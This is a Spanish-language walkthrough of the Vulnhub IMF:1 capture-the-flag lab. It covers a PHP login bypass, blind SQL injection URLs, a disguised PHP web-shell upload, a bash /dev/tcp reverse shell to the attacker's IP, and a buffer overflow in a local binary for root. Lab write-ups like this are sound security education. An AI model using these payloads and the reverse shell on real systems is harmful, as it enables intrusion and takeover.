Vulnhub-IMF:1 CTF Walkthrough

 



El FMI es una agencia de inteligencia que debes piratear para obtener todas las banderas y, en última instancia, rootear. Las banderas comienzan fáciles y se vuelven más difíciles a medida que avanzas. Cada bandera contiene una pista para la siguiente bandera.
Como primer paso realizare un reconocimiento de la máquina objetivo con la herramienta Netdiscover.


Como se muestra en la imagen la máquina objetivo tiene la dirección IP 192.168.50.113

Ahora con la herramienta nmap realizaré un escaneo para averiguar los puertos abiertos en la máquina objetivo.

nmap -sS
Como se muestra en la imagen hay tan sólo un puerto abierto. Ejecutaré nuevamente la herramienta nmap para identificar el servicio que se está ejecutando en la máquina.

nmap -sV

Como se muestra en la imagen en el puerto 80 se está ejecutando el servidor web apache httpd 2.4.18. Lo que haré será cargar la web en mi navegador para analizarla.

IMF page

Al analizar el código fuente de cada link en la página "contact us" encontré dos cosas interesante.

base 64

Al parecer los nombres de los archivos en la imagen están los nombres fragmentados y codificado en base64.

IMF flag1 base64

Más abajo en el mismo código fuente se encuentra nuestra primera flags codificada en base64. Lo que haré será decodificar este base64.

IMF flag1 Decode base64

La pista dice "todos los archivo" lo que al parecer hace referencia a los archivos con nombres codificado en base64. copiaré y decodificaré este base64.

Allfile decode base64

Como se muestra en la imagen al unir cada nombre de archivo y decodificar, se nos entrega una segunda flags codificada en base64.

imfadministrator

Al parecer la flag dos nos indica quizás un nombre de directorio. Lo que haré es cargar este directorio en mi navegador web.

IMF login

Efectivamente era el nombre de un directorio en el servidor web, el cual despliega un formulario de login. Observando la página web contacto en la parte inferior de la página se muestran algunos nombres de usuarios.


Los nombres de usuario que probaré serán rmichaels, akeith, estone en formulario de login.

Al probar cada usuario el único usuario valido es rmichaels. ahora faltaría saber la contraseña del usuario.


Antes de ver de qué forma obtener la contraseña, analizaré el código fuente de la página web imfadministrator.

SQL

Como se muestra en la imagen hay un comentario que indica que la contraseña de usuario está codificada, es decir, que la validación se hace a nivel de código debido a que no se puedo hacer funcionar el servidor SQL. por lo tanto, sabemos que la página web utiliza como lenguaje de servidor PHP, también sabemos que la contraseña se validad a nivel de código. Entonces la validación de usuario sería algo parecido a esto.

<?php
$username = $_POST['Username']
$password = $_POST['Password']
$username_hard_code = “rmichaels”
$password_hard_code ="loquesea"

//validacion de formulario login

if($username == $username_harcode) && (password == password_hard_code)
{
    // logica de login exitoso
}
elseif($username == $username_harcode) && (password != password_hard_code)
{
    // logica de password invalida
}
elseif($username != $username_harcode) && (password == password_hard_code)
{
    //logica de usuario invalido
}
?>

Entonces como sabemos el nombre de usuario y no sabemos la contraseña tenemos que intentar de que la validación de la password de true.

Para esto utilizaré la herramienta BurpSuite para interceptar la petición del formulario login, para luego en enviarlo al repiter de BurpSuite.

Bypass login

Lo que hice fue poner paréntesis como sufijo en el parámetro pass, esto lo interpreta PHP como si fuera un array y la instrucción $_GET[] como lo menciona el manual de PHP es un array asociativo. Por lo tanto, al comprar los dos arrays en la instrucción if devuelve True. Con lo anterior podemos pasar por alto el mecanismo de autenticación.

Como se muestra en la imagen anterior la respuesta de la solicitud se nos muestra una tercera flag, que al decodificarla muestra lo siguiente.

bypass login tecnica

El mensaje nos dice “continuar al CMS”, lo que resta hacer es copiar la url de la respuesta de BurpSuite y abrirla en nuestro navegador web.

Haremos click en los links “IMF CMS”

IMF CMS

Como se muestra en la imagen en la url hay un parámetro “pagename” podemos probar si es vulnerable a LFI (Local File Inclusion). Para realizar la prueba utilizaré la herramienta BurpSuite y su utilidad “Intruder” con la siguiente configuración.

BurpSuite configuracion payload

Y configuraré el payload de la siguiente manera.

BurpSuite payload

Por último, configuro una expresión regular para la frase “Welcome to the IMF Administration.” de la siguiente manera.

BurpSuite extraccion regular

Utilice la frase “Welcome to the IMF Administration.” ya que al realizar la prueba esta frase no se muestra, lo que indica que la página no es vulnerable a LFI.

Como resultado de realizar la prueba con BurpSuite, indica que la página no es vulnerable a LFI.

Test LFI vulnerabilidad

Como se muesta en la imagen la página no es vulnerable a la vulnerabilidad LFI. Por lo tanto, queda probar pasar al parámetro pagename algún carácter especial y ver como este lo procesa.

Prueba de caracteres especiales
Como se muestra en la imagen, al ingresar un carácter especial este devuelve un error de base de datos, también podemos pensar que el motor de base de datos es MySql ya que en el error se muestra la función mysql_fetch_row(). Por lo tanto, hay que analizar si la página web es vulnerable a inyección SQL.

Entonces, lo que hare será probar las siguientes inyecciones sql.
http://192.168.50.113/imfadministrator/cms.php?pagename=home'+or+1=1
http://192.168.50.113/imfadministrator/cms.php?pagename=home'+and+1=1
http://192.168.50.113/imfadministrator/cms.php?pagename=home'+or+'1'='1
http://192.168.50.113/imfadministrator/cms.php?pagename=home'+and+'1'='1

SQLi 1=1


Como se muestra en la imagen la inyección http://192.168.50.113/imfadministrator/cms.php?pagename=home'+and+'1'='1 muestra el mensaje “Welcome to the IMF Administration.” , en cambio sí utilizo la siguiente inyección http://192.168.50.113/imfadministrator/cms.php?pagename=home'+and+'1'='2 no muestra el mensaje “Welcome to the IMF Administration.”. Por lo tanto, puedo utilizar este comportamiento para realizar otros tipos de inyecciones sql.

SQLi 1=2
Ahora con la herramienta BurpSuite intentare de enumerar el total de base de datos que existen. Utilizaré la siguiente inyeccion sql:

http://192.168.50.113/imfadministrator/cms.php?pagename=home' and (select cast(count(schema_name) as CHAR) from information_schema.schemata)=[payload_BurpSuite]

SQLi schemata

Observen que la url la codifique en urlencode, ahora configuraré el tipo de payload a Number y configuraré una expresión regular para extraer el mensaje "Welcome to the IMF Administration".

BurpSuite Configuracion payload number

BurpSuite configuracion grep

Como se muestra en la siguiente imagen hay 5 bases de datos existentes.

SQLi numero de bases de datos

Ahora necesito enumerar los nombres de las bases de datos, para esto utilizaré Python para crear un script que me permita enumerar los nombres de bases de datos.

SQLi Python

Como se muestra en la siguiente imagen obtuvimos los nombres de las bases de datos.
SQLi Python Enumeracion Base de Datos

La base de datos que me llama mi atención aquí es la base de datos admin. Lo que haré ahora será enumerar los nombres de las tablas de la base de datos admin. Ocuparé el mismo script utilizado para enumerar las bases de datos con algunas modificaciones en el código.

SQLi Python

Ahora ejecutaré el script para enumera las tablas de la base de datos admin.


Como se muestra en la imagen la base de dato admin tiene tan solo una tabla nombrada page. Entonces lo que haré ahora será enumerar las columnas en la tabla pages de la base de datos admin. Antes modificaré nuevamente el código de mi script para enumerar las columnas de la tabla pages.

SQLi Python

Al ejecutar el script anterior obtuvimos como resultados los nombres columnas de la base de datos pages.


Como se muestra en la imagen anterior la tabla pages tiene 3 columnas. Ahora enumeraré el contenido de la columna pagename. Utilizaré el mismo script con algunas modificaciones en el código.

SQLi Python

Al ejecutar el script anterior obtuvimos los siguientes resultados.


Aquí encontramos un nombre de página que no encontramos en página web, tutorials-incomplete. Lo que haré será cargar la página web tutorials-incomplete.


Aquí lo interesante es el código QR que se muestra en la página web. Lo que haré es tomar una captura de pantalla del código QR y lo leeré con un lector QR online.


Como resulta de escanear el código QR obtuvimos la cuarta flags flag4{dXBsb2Fkcjk0Mi5waHA=}. Esta flags al igual que las anteriores esta codificada en base64. Lo que haré será descifrar este base64.


Obtuvimos un archivo con extensión .php. Lo que haré ahora será cargar en el navegador web la página uploadr942.php.


Lo que haré ahora será crear un archivo con nombre cmd y extensión .php con el siguiente contenido.


Como resultado de subir el archivo cmd.php es el siguiente.


Como se muestra en la imagen al parecer la extensión .php no es aceptado por el servidor. Lo que haré es, con la herramienta BurpSuite realizaré fuzz a algunos parámetros de la solicitud.

La solicitud original es la que se muestra en la siguiente imagen.

Configuraciar payload BurpSuite
La siguiente imagen muestras las modificaciones realizadas.


En la siguiente imagen muestro la configuración de los parámetros de fuzzer.

BurpSuite Fuzz Payload

Luego configuraré una expresión regular para analizar la respuesta.

BurpSuite expresion regular

Como resultado obtuvimos lo siguiente.

BurpSuite resultados Payload



Como se muestra en la imagen anterior las solicitudes (Request) 5,6,7 y 8 nos muestra un Mensaje de error: que dice que se ha detectado la función system php. También vemos que los archivos aceptados son con extensión jpeg, jpg, gif, png.

Entonces lo que haré será cambiar el código PHP por el siguiente.

Bypass WAF

Como resultado del cambio anterior recibimos los siguientes resultados.

Bypass WAF

En las solicitudes 5,6,7 y 8 el mensaje recibido cambió dice "dato de archivos inválidos". Esto me hace pensar que el servidor está leyendo los magic number del archivo que se está enviando.

Nota: Los magic number son los primeros bits de un archivo que lo identifican de manera única.

Por lo tanto, lo que haré será agregar este magic number como parte de la solicitud. Tras probar varios magic number el que me dio resultado es GIF8, como se muestra en la siguiente imagen.


Al ejecutar nuevamente el payload obtuvimos los siguientes resultados.

Como se ve en la imagen en la solicitud 5,6,7 y 8 los archivos se subieron con éxito. Además, se nos devuelve un comentario html con un hash, al parecer el servidor hashea los nombre de archivos.

Hashes Files

Ahora falta averiguar en que directorio el servidor almacena los archivos enviados. Para esto utilizaré la herramienta Gobuster para enumerar directorio.

Gobuster enumeracion

La herramienta enumeró dos directorios /images y /uploads. Lo que haré es cagar el directorio /uploads en el navegador web.

Uploads

Al solicitar el directorio uploads el servidor responde con Forbidden, es decir, no tenemos permisos para acceder a este recurso. Ahora agregaré algunos de los hashes devueltos por el servidor, de los archivos subidos con éxito.

Uploads
El único hash que el servidor lo interpreta como texto y no imagen es el hash 3e1bb7ee6e4c que corresponde al archivo con extensión .gif. .

Ahora agregaré el siguiente comando al parámetro cmd /?cmd=ls%20-l.

Vulnerabilidad LFI

Nuestro payload PHP funciona exitosamente.

Ahora dejaré en escucha el puerto 4444 en mi máquina atacante con la herramienta Netcat, como se muestra en la siguiente imagen.

Netcat nc -lvnp 4444

Ahora lo que haré será enviar el siguiente comando bash -c “bash -i >& /dev/tcp/192.168.50.35/4444 0>&1”, donde la dirección IP 192.168.50.35 es la dirección IP de la máquina atacante y 4444 es el puerto de escucha. El comando anterior debe codificarse en formato URLEncode, como se muestra en la siguiente imagen.

UrlEncode

Como resultado obtenemos una shell inversa.

reverse shell

Al ejecutar el comando ls -l se lista la quinta flags.

Flags 5

El flag está codificada en formato base64. lo que haré será descodificar el flag.

decode base64

Al descodificar la quinta flags se nos da la siguiente pista “agentservice”. Esta pista nos sugiere algún servicio en ejecución. Lo que haré será listar los servicio.

netstat -lnvp

Al listar los servicios en ejecución en la columna “PID/Program name” no se muestra los nombres aplicaciones, pero hay un puerto que llama mi atención es el puerto número 7788. Lo que haré será buscar algún archivo por "agent" o "agenteservices" con la herramienta find de Linux.

comando find linux

Como se muestra en la imagen anterior, se encontraron en dos ubicaciones un archivo llamado agent. Lo que haré será analizar el archivo agent del directorio /usr/local/bin/agent.

binario IMF

Como se muestra en la imagen el archivo "agent" es un archivo ELF y al extraer sus string se muestra un prompt con un banner IMF y un menú. Intentaré de conectarme al puerto 7788 con la herramienta Netcat para ver que se está ejecuta en ese puerto.

netcat -lvnp

El archivo agent está escuchando conexiones de red a través del puerto 7788. Enviaré el archivo agent a mi máquina atacante, para analizar el binario.

En mi máquina atacante configuraré el puerto 4545 para que reciba conexiones y grabe el contenido del archivo agent.

netcat -lnvp

Y en la máquina víctima enviaré el archivo a través de Netcat.

netcat envio de archivo

Recibimos el archivo en nuestra máquina atacante.

Recibiendo archivo agent

Ahora calcularé el MD5 del archivo para comprobar si hubo alteraciones en el archivo recibido.


Los hashes son iguales. Ahora analizaré el archivo agent en ejecución con la herramienta ltrace de Linux.

Nota: ltrace intercepta y registra llamadas dinámicas a las bibliotecas que son llamado por un proceso ejecutado y las señales recibidas por ese proceso. También puede interceptar e imprimir las llamadas al sistema ejecutadas por el programa.

Como se muestra en la siguiente imagen el agent ID que compara el programa es 48093572.

Linux ltrace

Como se observa en la imagen hay una instrucción strcmp que compara el valor ingresado por teclado con un valor hardcodeado en el script agent.

Para tener una visión más amplia de este script, lo analizaré con la herramienta Ghidra.

Ghidra Analisis

Como se muestra en la imagen la instrucción asprintf establece el valor de la variable local_28 a 0x2ddd984 es igual a 48093572 como se muestra en la siguiente imagen.

Ghidra Analisis

Ahora renombrare al variable local_28 a agent_id, la idea es ir entendiendo lo que hace el código en el script agent.

Ghidra rename variable

Luego, en las siguientes líneas de código se obtiene la entrada del usuario por teclado con la instrucción fgets y lo asigna a la variable pcVar1. Por lo tanto, remplazaré el nombre de la variable a input_user.

Ghidra rename variable 

Luego, se realiza una validación si el valor ingresado es un valor vacío se nos devuelve el mensaje “Invalid Agent ID” de lo contrario el valor ingresado se almacena en la variable local_22. La variable local_22 la renombrare como input.

Ghidra Analaisis 
Por último, se realiza una comparación de los valores ingresado por teclado. sí son iguales se despliega un menú.

 

Aquí la función report() es la que nos interesa, Opción 3 . Es interesante debido que podemos explotar un buffer OverFlow. Al ingresar una cadena de más de 164 caracteres se produce un error de segmentación de memoria.

Vulnerabilidad Buffer Overflow

Esto se debe a que la función report() almacena el valor ingresado en la variable local_a8 hasta 164 caracteres como se muestra en la siguiente imagen.

funcion report

Ahora antes de explotar la vulnerabilidad Buffer Overflow tenemos que saber la arquitectura en que se ejecuta el script X86 o x86_64 y las protecciones de memoria que este tiene.

arquitectura de archivos

Como se muestra en la imagen anterior la arquitectura de ejecución del archivo agent es de 32 bit.

Linux Checksec

Como se muestra en la imagen anterior el script no tiene ninguna protección de memoria. Ahora con la herramienta gbd lo que haré es ejecutar el programa y ver donde se produce el desbordamiento de buffer.

GDB

Como se muestra en la imagen lo que hice fue ingresar un número caracteres mayores a 164 para que se genere el error buffer y posteriormente ver los valores de la pila de memoria.

GBD Buffer Overflow

Aquí lo que me interesa es no sobre escribir el registro $iep (Extended Instruction Pointer). Entonces, crearé un patrón de caracteres con la herramienta dbg, para luego ejecutarlo nuevamente el script dbg y observar que caracteres sobrescribe el registro $eip.

DBG Patter

DBG

Como se observa en la siguiente imagen la cadena de caracteres que sobrescribe el registro $eip es la cadena raab.

GDB sobre escritura eip

Por lo tanto, si filtro el patrón de caracteres antes ingresado por raab, todos los caracteres anteriores de la cadena raab coresponde a la suma de los registros $ebp y $esp, es decir, a la parte inferior y superior de pila de memoria respectivamente.

comando grep Linux

Por último, debemos encontrar una instrucción “call eax” que llame la instrucción $eax 0xffffcf54, donde se almacenará nuestra shellcode.

call eax

La instrucción que utilizaremos será ff d0. Ahora con toda la información que manejamos crearemos nuestro shellcode. Utilizaremos la herramienta msfvenom.

Nota: Msfvenom es una utilidad de línea de comando que permite crear o generar payload (carga ùtil) personalizaado para diferentes sistemas operativos.

Ahora crearemos nuestro exploit con el siguiente comando.

msfvenom payload

Teniendo nuestro exploit creado con la herramienta mfsvenom crearemos un nuevo archivo que lo nombraremos exploit.py e ingresaré el siguiente código.

Exploit Python

Ahora en mi máquina atacante levantaré un servidor Python, para descargar el exploit.py en la máquina víctima.

Python Server

Y en la máquina víctima utilizaré la herramienta wget para descargarlo.

wget

Ahora en mi máquina atacante dejamos a la escucha en el puerto 4444, que es el puerto que configuramos en nuestro exploit.

netcat -lnvp

Y en la máquina víctima ejecutamos nuestro exploit.py

Ejecucion de exploit

Como resultado de ejecutar nuestro exploit.py obtenemos una conexión con permisos de root.

conexion reversa

Ahora me cambiaré al directorio root y listaré los archivos.

flags 6

Como se muestra en la imagen encontramos nuestro última flags 6 y archivo nombrado TheEnd.txt

theEnd

Happy Hack!!!


Comentarios